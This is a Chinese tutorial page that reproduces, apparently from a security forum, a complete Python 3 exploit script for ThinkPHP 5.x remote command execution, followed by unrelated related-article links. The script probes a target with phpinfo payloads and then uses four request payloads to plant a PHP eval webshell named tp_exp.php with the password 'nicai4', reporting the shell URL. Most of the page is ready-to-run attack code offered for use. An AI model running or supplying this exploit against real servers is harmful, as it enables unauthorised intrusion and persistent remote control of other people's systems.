python3编写ThinkPHP命令执行Getshell的方法
作者:nosafer 发布时间:2023-10-04 14:17:15
标签:python3,ThinkPHP,Getshell
加了三个验证漏洞以及四个getshell方法
# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog: [url]http://nsf.me/[/url]
import requests
import sys
def demo():
print(' _______ _ _ _ _____ _ _ _____ ')
print(' |__ __| | (_) | | | __ \| | | | __ \ ')
print(' | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
print(''' | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
print(' | | | | | | | | | | <| | | | | | | ')
print(' |_| |_| |_|_|_| |_|_|\_\_| |_| |_|_| ')
print()
print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
print('\tRemote command execution exploit.')
print('\tVulnerability verification and getshell.')
print('\tTarget: http://target/public')
print()
class ThinkPHP():
def __init__(self,web):
self.web = web
self.headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
"Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding" : "gzip, deflate",
"Content-Type" : "application/x-www-form-urlencoded",
"Connection" : "keep-alive"
}
def verification(self):
i = 0
s = 0
verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
while True:
if i == len(verifications):
break
else:
url = self.web + verifications[i]
req = requests.get(url=url,headers=self.headers)
if 'phpinfo()' in req.text:
s = 1
break
else:
s = 0
i += 1
if s == 1:
print("[+] There are vulnerabilities.")
print()
toshell = input("[*] Getshell? (y/n):")
if toshell == 'y':
self.getshell()
elif toshell == 'n':
sys.exit()
else:
sys.exit()
else:
print("[-] There are no vulnerabilities.")
def getshell(self):
getshells = [
'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
'?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
'?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
shell = self.web + '/tp_exp.php'
i = 0
s = 0
while True:
if i == len(getshells):
break
else:
url = self.web + getshells[i]
req = requests.get(url=url,headers=self.headers)
req_shell = requests.get(url=shell,headers=self.headers)
if req_shell.status_code == 200:
s = 1
break
else:
s = 0
i += 1
if s == 1:
print("[+] WebShell :%s PassWord :nicai4" % shell)
else:
print("[-] The vulnerability does not exist or exists waf.")
def main():
demo()
url = input("[*] Please input your target: ")
run = ThinkPHP(url)
run.verification()
if __name__ == '__main__':
main()
注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。
环境地址:https://www.vsplate.com/
效果图:
来源:https://bbs.ichunqiu.com/thread-48729-1-1.html


猜你喜欢
- 概率生成问题有一枚不均匀的硬币,要求产生均匀的概率分布有一枚均匀的硬币,要求产生不均匀的概率分布,如 0.25 和 0.75利用 Rand7
- 前言:本文简单讲述全文索引的应用实例,MYSQL演示版本5.5.24。Q:全文索引适用于什么场合?A:全文索引是目前实现大数据搜索的关键技术
- JMeter可以通过os命令调用Python脚本,Python同样可以通过系统命令调用JMeter执行压测Python调用JMeter首先要
- golang 1.7版本中context库被很多标准库的模块所使用,比如net/http和os的一些模块中,利用这些原生模块,我们就不需要自
- 前言ansible是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet、cfengine、chef、func、f
- 此程序为先调用opencv自带的人脸检测模型,检测到人脸后,再调用我自己训练好的模型去识别人脸,使用时更改模型地址即可#!usr/bin/e
- 1 sample(序列a,n)sample(序列a,n)功能:从序列a中随机抽取n个元素,并将n个元素生以list形式返回。例:from r
- 本文实例为大家分享了js实现简单放大镜特效的具体代码,供大家参考,具体内容如下先来看看效果:写放大镜之前我们先来了解一下定位:通常子绝父相
- 在keras中,数据是以张量的形式表示的,不考虑动态特性,仅考虑shape的时候,可以把张量用类似矩阵的方式来理解。例如[[1],[2],[
- 一、APC缓存简介APC,全称是Alternative PHP Cache,官方翻译叫”可选PHP缓存”。它为我们提供了缓存和优化PHP的中
- 这篇文章主要介绍了python scatter函数用法实例详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,
- 用了很久的os.path,今天发现竟然还有这么好用的库,记录下来以便使用。1.调用库from pathlib import2.创建Path对
- 前面章节我们介绍了如何选择优化的数据类型、如何高效的使用索引,这些对于高性能的MySQL来说是必不可少的。 但这些还完全不够,还需要合理的设
- python多进程下实现日志记录按时间分割,供大家参考,具体内容如下原理:自定义日志handler继承TimedRotatingFileHa
- 系统环境:Centos6.5 64位一. 安装java环境 这里安装的是jdk1.7.60在/usr/local目录下创建java目录,可到
- 对于电脑上没有Visual C++ 2019.exe 而导致安装不了Mysql Install的朋友,此详细步骤会更加明了。一、下载(官方网
- 微信小程序分享效果:js代码:page({/** * 用户点击分享按钮或右上角分享 */ onShareAppMessage: functi
- 关于正则表达式raw的\匹配规则这是我在学习中获得到的一个例子,第一表达式中匹配到的是none。于是乎我就在思考,为什么会匹配不到,假设\t
- 启动targetcli时遭遇ImportError: cannot import name ALUATargetPortGrou
- Python 编程语言已经成为 IT 中使用的最流行的语言之一。成功的一个原因是它可以用来解决各种问题。从网站开发到数据科学、机器学习到任务